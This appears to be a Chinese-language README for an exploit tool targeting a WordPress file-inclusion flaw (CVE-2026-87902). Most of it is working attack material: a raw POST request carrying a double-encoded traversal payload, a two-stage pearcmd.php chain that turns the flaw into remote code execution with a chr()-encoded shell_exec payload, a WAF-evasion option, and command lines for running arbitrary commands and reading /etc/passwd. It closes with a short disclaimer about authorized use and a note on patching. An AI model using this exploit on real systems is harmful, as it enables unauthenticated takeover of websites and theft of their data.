| 字段 | 值 |
|---|
| CVE | CVE-2026-87902 |
| CVSS | 9.2(严重)— CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-98 — 包含/请求文件名的控制不当 |
| 受影响版本 | WordPress 4.7.0 – 7.1.1 |
| 修复版本 | WordPress 7.1.2 + 向后移植至所有受支持分支 |
| 认证 | 无(未认证) |
wp-includes/template.php 中的 get_page_template() 在清理已经执行之后,对 pagename 查询参数调用 urldecode()。双重编码的 ../ 序列(%252E%252E%252F)经过 PHP 第一次解码后变为 %2E%2E%2F,通过 sanitize_title_with_dashes()(该函数保留 %xx 序列)后仍然存在,随后被 WordPress 后期的 urldecode() 调用解码为 ../ —— 从而逃逸出主题目录。
需要 POST 方法是因为 redirect_canonical() 对非 GET/HEAD 请求会提前返回,从而阻止路径在到达易受攻击代码之前被规范化。
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex
1. PHP 解码 POST 正文: templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP 清理后保留: templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() 解析: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() 成功 → include() 执行该文件
.php 文件被包含并执行pearcmd.php 利用链(需要安装 PEAR + register_argc_argv=On)两个匿名 POST 请求即可实现 RCE:
阶段 1 — 通过路径遍历包含 pearcmd.php。查询字符串 /?+config-create+/<php-payload>+<output>.php 成为 PEAR 的 argv。config-create 命令将攻击者控制的数据(包括 PHP 标签)写入可写目录。
阶段 2 — 包含 PEAR 写入的文件。嵌入的 PHP 以 Web 服务器权限执行。
PHP 载荷使用 chr() 编码(<?=shell_exec(chr(105).chr(100))?>)以避免 wp_magic_quotes() 会转义的引号字符。
cve-2026-87902.py — 自动化检查器 + LFI 扫描器 + PEAR RCE 利用工具。使用 http.client 实现字节精确的请求控制(无库重新编码)。
Python 3.6+(仅标准库 — 无 pip 依赖)
# 仅检查漏洞
python3 cve-2026-87902.py https://target.com --check
# 带 WAF 绕过检查(multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart
# 指定页面 ID 和遍历深度
python3 cve-2026-87902.py https://target.com -p 42 --depth 7
# LFI 扫描(默认目标)
python3 cve-2026-87902.py https://target.com
# 使用自定义文件的 LFI 扫描
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable
# 通过 PEAR 链实现 RCE
python3 cve-2026-87902.py https://target.com --rce "id"
# 通过 RCE 读取文件
python3 cve-2026-87902.py https://target.com --read /etc/hostname
# 完整选项
python3 cve-2026-87902.py https://target.com --rce "whoami" \
--pear /usr/local/lib/php/pearcmd \
--output /tmp/wp-rce-payload \
--multipart --timeout 30
page-* 目录--multipart 将载荷包装为 multipart/form-data 以规避 WAF 模式匹配chr() 编码的载荷| 标记 | 含义 |
|---|---|
[HIT] | 文件成功被包含 |
[---] | 正常响应(文件未被包含) |
[???] | 响应显著不同 — 值得调查 |
[WAF] | 被 WAF 拦截(403) |
[ERR] | 连接失败 |
page-* 目录(例如 page-templates/)pearcmd.php 可读 + register_argc_argv=On + /tmp 可写更新至 WordPress 7.1.2 或您所在分支的最新安全版本(已向后移植至 4.7)。
本工具仅供授权安全测试和漏洞赏金研究使用。仅对您拥有明确测试许可的系统使用。未经授权访问计算机系统是违法的。